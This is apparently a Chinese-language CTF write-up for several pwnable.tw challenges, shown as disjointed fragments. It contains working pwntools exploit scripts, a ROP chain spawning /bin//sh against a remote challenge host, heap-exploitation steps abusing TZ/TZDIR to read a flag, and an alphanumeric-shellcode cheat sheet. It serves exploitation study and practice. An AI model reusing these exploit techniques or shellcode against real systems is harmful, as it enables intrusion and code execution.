if local: cn = process('./calc') bin = ELF('./calc') else: cn = remote('chall.pwnable.tw', 10100)
defz(a=''): gdb.attach(cn,a) if a == '': raw_input()
from struct import pack
# Padding goes here p = '' p+=p32(0x804967a) p += pack('<I', 0x080701aa) # pop edx ; ret p += pack('<I', 0x080ec060) # @ .data p += pack('<I', 0x0805c34b) # pop eax ; ret p += '/bin' p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080701aa) # pop edx ; ret p += pack('<I', 0x080ec064) # @ .data + 4 p += pack('<I', 0x0805c34b) # pop eax ; ret p += '//sh' p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080701aa) # pop edx ; ret p += pack('<I', 0x080ec068) # @ .data + 8 p += pack('<I', 0x080550d0) # xor eax, eax ; ret p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080481d1) # pop ebx ; ret p += pack('<I', 0x080ec060) # @ .data p += pack('<I', 0x080701d1) # pop ecx ; pop ebx ; ret p += pack('<I', 0x080ec068) # @ .data + 8 p += pack('<I', 0x080ec060) # padding without overwrite ebx p += pack('<I', 0x080701aa) # pop edx ; ret p += pack('<I', 0x080ec068) # @ .data + 8 p += pack('<I', 0x080550d0) # xor eax, eax ; ret p += pack('<I', 0x0807cb7f) # inc eax ; ret p += pack('<I', 0x0807cb7f) # inc eax ; ret p += pack('<I', 0x0807cb7f) # inc eax ; ret p += pack('<I', 0x0807cb7f) # inc eax ; ret p += pack('<I', 0x0807cb7f) # inc eax ; ret p += pack('<I', 0x0807cb7f) # inc eax ; ret p += pack('<I', 0x0807cb7f) # inc eax ; ret p += pack('<I', 0x0807cb7f) # inc eax ; ret p += pack('<I', 0x0807cb7f) # inc eax ; ret p += pack('<I', 0x0807cb7f) # inc eax ; ret p += pack('<I', 0x0807cb7f) # inc eax ; ret p += pack('<I', 0x08049a21) # int 0x80 for i inrange(len(p)/4-1): cn.sendline('+'+str(369+i)+'-'+str(u32(p[i*4:i*4+4]))+'+'+str(u32(p[i*4+4:i*4+8])))
cn.sendline('')
cn.interactive()
dubblesort 200pts
代码很少,主要就是写了一个冒泡排序.
保护很好,
1 2 3 4 5 6
Arch: i386-32-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled
首先是leak.
1 2 3
__printf_chk(1, "What your name :"); read(0, name, 0x40u); // 没有截断 __printf_chk(1, "Hello %s,How many numbers do you what to sort :");// leak
printf("Give me your another description of bullet :"); read_input(buf, 48 - bullet[12]); strncat((char *)bullet, buf, 48 - bullet[12]);// 尾部添\0,覆盖len v2 = strlen(buf) + bullet[12]; // bullet[12]=0 printf("Your new power is : %u\n", v2); bullet[12] = v2; puts("Enjoy it !");
v7 = __readgsdword(0x14u); i = 1; p = myCart.fd; printf("Item Number> "); fflush(stdout); my_read(buf, 0x15u); n = atoi(buf); while ( p ) { if ( i == n ) { FD = p->fd; BK = p->bk; if ( BK ) BK->fd = FD; if ( FD ) FD->bk = BK; printf("Remove %d:%s from your shopping cart.\n", i, p->name); return __readgsdword(0x14u) ^ v7; } ++i; p = p->fd; } return __readgsdword(0x14u) ^ v7; }
/* Return the `struct tm' representation of *TIMER in the local timezone. Use local time if USE_LOCALTIME is nonzero, UTC otherwise. */ structtm * __tz_convert (consttime_t *timer, int use_localtime, struct tm *tp) { longint leap_correction; int leap_extra_secs;
if (timer == NULL) { __set_errno (EINVAL); returnNULL; }
__libc_lock_lock (tzset_lock);
/* Update internal database according to current TZ setting. POSIX.1 8.3.7.2 says that localtime_r is not required to set tzname. This is a good idea since this allows at least a bit more parallelism. */ tzset_internal (tp == &_tmbuf && use_localtime, 1);
if (is_initialized && !always) return; is_initialized = 1;
/* Examine the TZ environment variable. */ tz = getenv ("TZ");//★注意此处,从env中读取TZ的值 if (tz == NULL && !explicit) /* Use the site-wide default. This is a file name which means we would not see changes to the file if we compare only the file name for change. We want to notice file changes if tzset() has been called explicitly. Leave TZ as NULL in this case. */ tz = TZDEFAULT; if (tz && *tz == '\0') /* User specified the empty string; use UTC explicitly. */ tz = "Universal";
/* A leading colon means "implementation defined syntax". We ignore the colon and always use the same algorithm: try a data file, and if none exists parse the 1003.1 syntax. */ if (tz && *tz == ':') ++tz;
/* Check whether the value changed since the last run. */ if (old_tz != NULL && tz != NULL && strcmp (tz, old_tz) == 0) /* No change, simply return. */ return;
if (tz == NULL) /* No user specification; use the site-wide default. */ tz = TZDEFAULT;
tz_rules[0].name = NULL; tz_rules[1].name = NULL;
/* Save the value of `tz'. */ free (old_tz); old_tz = tz ? __strdup (tz) : NULL;
/* Try to read a data file. */ __tzfile_read (tz, 0, NULL);//★带着TZ进入__tzfile_read函数 if (__use_tzfile) return;
if (file == NULL) /* No user specification; use the site-wide default. */ file = TZDEFAULT; elseif (*file == '\0') /* User specified the empty string; use UTC with no leap seconds. */ goto ret_free_transitions; else { /* We must not allow to read an arbitrary file in a setuid program. So we fail for any file which is not in the directory hierachy starting at TZDIR and which is not the system wide default TZDEFAULT. */ if (__libc_enable_secure && ((*file == '/' && memcmp (file, TZDEFAULT, sizeof TZDEFAULT) && memcmp (file, default_tzdir, sizeof (default_tzdir) - 1)) || strstr (file, "../") != NULL)) /* This test is certainly a bit too restrictive but it should catch all critical cases. */ goto ret_free_transitions; }
/* If we were already using tzfile, check whether the file changed. */ structstat64 st; if (was_using_tzfile && stat64 (file, &st) == 0 && tzfile_ino == st.st_ino && tzfile_dev == st.st_dev && tzfile_mtime == st.st_mtime) goto done; /* Nothing to do. */
/* Note the file is opened with cancellation in the I/O functions disabled and if available FD_CLOEXEC set. */ f = fopen (file, "rce");//★打开文件 <--不再追究具体细节-->
defshow(idx): cn.sendline('2') cn.recvuntil('Index of heap :') cn.sendline(str(idx))
defdele(idx): cn.sendline('5') cn.recvuntil('Index of heap :') cn.sendline(str(idx))
create_system_heap('aaaa')#0
#play->set name cn.sendline('4') cn.recvuntil('Index of heap :') cn.sendline('0')#idx cn.recvuntil('Your choice : ') cn.sendline('1') cn.recvuntil('Give me a name for the system heap :') cn.sendline('aaaa') cn.recvuntil('Give me a value for this name :') cn.sendline('aaaa') #play->get value cn.recvuntil('Your choice : ') cn.sendline('4') cn.recvuntil("What's name do you want to see :") cn.sendline('aaaa')
create_system_heap('cccc')#1 #play->set name cn.sendline('4') cn.recvuntil('Index of heap :')
cn.sendline('1')#idx cn.recvuntil('Your choice : ') cn.sendline('1') cn.recvuntil('Give me a name for the system heap :') cn.sendline('TZ') cn.recvuntil('Give me a value for this name :') cn.sendline('flag') #play->set name cn.recvuntil('Your choice : ') cn.sendline('1') cn.recvuntil('Give me a name for the system heap :') cn.sendline('TZDIR') cn.recvuntil('Give me a value for this name :') if local: cn.sendline('/home/veritas') else: cn.sendline('/home/critical_heap++') cn.recvuntil('Your choice : ') cn.sendline('5')
create_clock_heap('dddd')#2
if local: flag_addr=heap_base + 0x8b0 else: flag_addr=heap_base + 0x5e0
#play->change content cn.sendline('4') cn.recvuntil('Index of heap :')
case5: printf("Leave your name :"); __isoc99_scanf("%s", name); // overflow printf("Thank you %s ,see you next time\n", name); if ( fp ) fclose(fp); exit(0); return;
2.算术运算: inc/dec eax... sub al, 立即数 sub byte ptr [eax... + 立即数], al dl... sub byte ptr [eax... + 立即数], ah dh... sub dword ptr [eax... + 立即数], esi edi sub word ptr [eax... + 立即数], si di sub al dl..., byte ptr [eax... + 立即数] sub ah dh..., byte ptr [eax... + 立即数] sub esi edi, dword ptr [eax... + 立即数] sub si di, word ptr [eax... + 立即数]
3.逻辑运算: and al, 立即数 and dword ptr [eax... + 立即数], esi edi and word ptr [eax... + 立即数], si di and ah dh..., byte ptr [ecx edx... + 立即数] and esi edi, dword ptr [eax... + 立即数] and si di, word ptr [eax... + 立即数]
xor al, 立即数 xor byte ptr [eax... + 立即数], al dl... xor byte ptr [eax... + 立即数], ah dh... xor dword ptr [eax... + 立即数], esi edi xor word ptr [eax... + 立即数], si di xor al dl..., byte ptr [eax... + 立即数] xor ah dh..., byte ptr [eax... + 立即数] xor esi edi, dword ptr [eax... + 立即数] xor si di, word ptr [eax... + 立即数]
4.比较指令: cmp al, 立即数 cmp byte ptr [eax... + 立即数], al dl... cmp byte ptr [eax... + 立即数], ah dh... cmp dword ptr [eax... + 立即数], esi edi cmp word ptr [eax... + 立即数], si di cmp al dl..., byte ptr [eax... + 立即数] cmp ah dh..., byte ptr [eax... + 立即数] cmp esi edi, dword ptr [eax... + 立即数] cmp si di, word ptr [eax... + 立即数]
5.转移指令: push 56h pop eax cmp al, 43h jnz lable
<=> jmp lable
6.交换al, ah push eax xor ah, byte ptr [esp] // ah ^= al xor byte ptr [esp], ah // al ^= ah xor ah, byte ptr [esp] // ah ^= al pop eax
7.清零: push 44h pop eax sub al, 44h ; eax = 0
push esi push esp pop eax xor [eax], esi ; esi = 0